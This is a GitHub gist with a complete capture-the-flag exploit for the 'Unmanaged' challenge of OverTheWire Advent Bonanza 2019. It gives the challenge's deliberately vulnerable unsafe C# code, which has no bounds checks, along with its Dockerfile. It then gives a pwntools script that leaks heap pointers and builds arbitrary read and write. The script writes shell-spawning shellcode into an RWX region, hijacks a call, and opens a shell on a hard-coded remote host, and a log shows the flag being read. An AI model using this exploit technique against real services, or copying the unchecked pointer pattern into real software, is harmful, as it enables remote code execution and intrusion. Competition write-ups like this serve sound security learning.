Skip to content

Instantly share code, notes, and snippets.

@KaoRz
Last active November 30, 2020 01:18
Show Gist options
  • Save KaoRz/07a024b9bae1887c1478f5c1d0dfbdf3 to your computer and use it in GitHub Desktop.
Save KaoRz/07a024b9bae1887c1478f5c1d0dfbdf3 to your computer and use it in GitHub Desktop.
Unmanaged exploit (w/@dialluvioso) - OverTheWire Advent Bonanza CTF 2019
# NOTE: This Dockerfile is provided for reference ONLY.
# It is NOT the production Dockerfile used for the challenge.
# The sole purpose here is to reveal the system environment
# that the challenge is being hosted in.
#
# In other words the most important clause is the FROM clause.
FROM mcr.microsoft.com/dotnet/core/sdk:3.0
RUN useradd -u 1234 -m demo
ADD pwn2.csproj /home/demo
ADD Program.cs /home/demo
ADD flag.txt /home/demo
RUN cd /home/demo && dotnet build -c Release
RUN apt-get update
RUN apt-get install -y gdb gdbserver
RUN apt-get install -y netcat
RUN git clone https://github.com/scwuaptx/peda.git ~/peda
RUN echo "source ~/peda/peda.py" >> ~/.gdbinit
RUN cp ~/peda/.inputrc ~/
WORKDIR /home/demo
CMD ["bin/Release/netcoreapp3.0/pwn2"]
using System;
using System.IO;
using System.Collections.Generic;
class Program
{
public static int Main(string[] args)
{
BinaryReader reader = new BinaryReader(Console.OpenStandardInput(0));
BinaryWriter writer = new BinaryWriter(Console.OpenStandardOutput(0));
List<FastByteArray> arrays = new List<FastByteArray>();
while (true)
{
byte action = reader.ReadByte();
// Allocate new byte array
if (action == 1)
{
byte length = reader.ReadByte();
arrays.Add(new FastByteArray(length));
}
// Write a section of a byte array
else if (action == 2)
{
byte index = reader.ReadByte();
byte offset = reader.ReadByte();
byte size = reader.ReadByte();
arrays[index].Write(offset, size, writer);
}
// Read a section of a byte array
else if (action == 3)
{
byte index = reader.ReadByte();
byte offset = reader.ReadByte();
byte size = reader.ReadByte();
arrays[index].Read(offset, size, reader);
}
}
}
}
class FastByteArray
{
private byte[] bytes;
private static Random random = new Random();
public FastByteArray(int size)
{
bytes = new byte[size];
random.NextBytes(bytes);
}
public unsafe void Write(byte index, byte size, BinaryWriter writer)
{
fixed (byte* b = bytes)
{
for (int i = 0; i < size; i++)
{
writer.Write(b[index + i]);
}
}
}
public unsafe void Read(byte index, byte size, BinaryReader reader)
{
fixed (byte* b = bytes)
{
for (int i = 0; i < size; i++)
{
b[index + i] = reader.ReadByte();
}
}
}
}
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>netcoreapp3.0</TargetFramework>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
</Project>
#!/bin/sh
sudo docker build -t advent2019-1208 .
sudo docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -dit advent2019-1208
#!/usr/bin/env python3
# coding: utf-8
from pwn import *
HOST = "3.93.128.89"
PORT = 1208
def alloc(size):
io.send(p8(1))
io.send(p8(size))
def write(idx, offset, size):
io.send(p8(2))
io.send(p8(idx))
io.send(p8(offset))
io.send(p8(size))
def read(idx, offset, size):
io.send(p8(3))
io.send(p8(idx))
io.send(p8(offset))
io.send(p8(size))
def write64(idx, offset):
data = b""
write(idx, offset * 8, 8)
for _ in range(8):
data += io.recv(1)
return u64(data)
def read64(idx, offset, val):
read(idx, offset * 8, 8)
for i in p64(val):
io.send(p8(i))
def arb_write(addr):
read64(15, 28, addr - 0x10)
return write64(16, 0)
def arb_read(addr, value):
read64(15, 28, addr - 0x10)
read64(16, 0, value)
def dump():
with open("leak.txt", "wb") as f:
for i in range(1, 255, 1):
alloc(1)
print("exploring idx: %d" % i)
f.write(b"exploring idx: %d\n" % i)
for j in range(32):
val = write64(i, j)
print("current val: %#x" % val)
f.write(b"[%d][%d] current val: %#x\n" % (i, j, val))
io = remote(HOST, PORT)
for _ in range(17):
alloc(137)
base_arr = write64(15, 28)
log.success("Leaked base array: " + hex(base_arr))
leak1_ptr = write64(0, 19) + 0x18
log.success("Leaked pointer address to dereference: " + hex(leak1_ptr))
leak2_ptr = arb_write(leak1_ptr)
log.info("First dereferenced pointer address: " + hex(leak2_ptr))
leak3_ptr = arb_write(leak2_ptr + 0x10)
log.info("Second dereferenced pointer address: " + hex(leak3_ptr))
leak4_ptr = arb_write(leak3_ptr)
log.info("Third dereferenced pointer address: " + hex(leak4_ptr))
rwx = leak4_ptr - 0x1e44f0
log.success("RWX section found at " + hex(rwx))
shellcode = asm(shellcraft.amd64.sh(), arch = "amd64")
log.info("Writing shellcode at RWX section (Lenght: %d)", len(shellcode))
for i in range(0, len(shellcode), 8):
arb_read(rwx + i, u64(shellcode[i:i + 8].ljust(8, b"\x00")))
log.success("Shellcode wrote successfully")
'''
0x7f51f3b92dd5 mov rax, qword ptr [rax + 0x48]
0x7f51f3b92dd9 call qword ptr [rax + 8]
'''
first_idx = base_arr - 0x14d0
log.success("RAX control at " + hex(first_idx + 0x13))
read64(0, 0, first_idx)
read64(0, 1, rwx)
read64(0, 19, first_idx - 0x48)
alloc(137)
io.interactive()
io.close()
'''
kaorz@ubuntu:~/Desktop/Chall8/chall$ ./remote.py
[+] Opening connection to 3.93.128.89 on port 1208: Done
[+] Leaked base array: 0x7fbc0400a178
[+] Leaked pointer address to dereference: 0x7fbc2c64a300
[*] First dereferenced pointer address: 0x7fbc2bab4020
[*] Second dereferenced pointer address: 0xdda450
[*] Third dereferenced pointer address: 0x7fbca5d8a4f0
[+] RWX segment found at 0x7fbca5ba6000
[*] Writing shellcode at RWX segment (Lenght: 24)
[+] Shellcode wrote successfully
[+] RAX control at 0x7fbc04008cbb
[*] Switching to interactive mode
$ ls
flag.txt
pwn2
pwn2.deps.json
pwn2.dll
pwn2.pdb
pwn2.runtimeconfig.dev.json
pwn2.runtimeconfig.json
$ cat flag.txt
AOTW{1snt_c0rrupt1nG_manAgeD_M3m0ry_easier_than_y0u_th1nk?}$
[*] Interrupted
[*] Closed connection to 3.93.128.89 port 1208
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment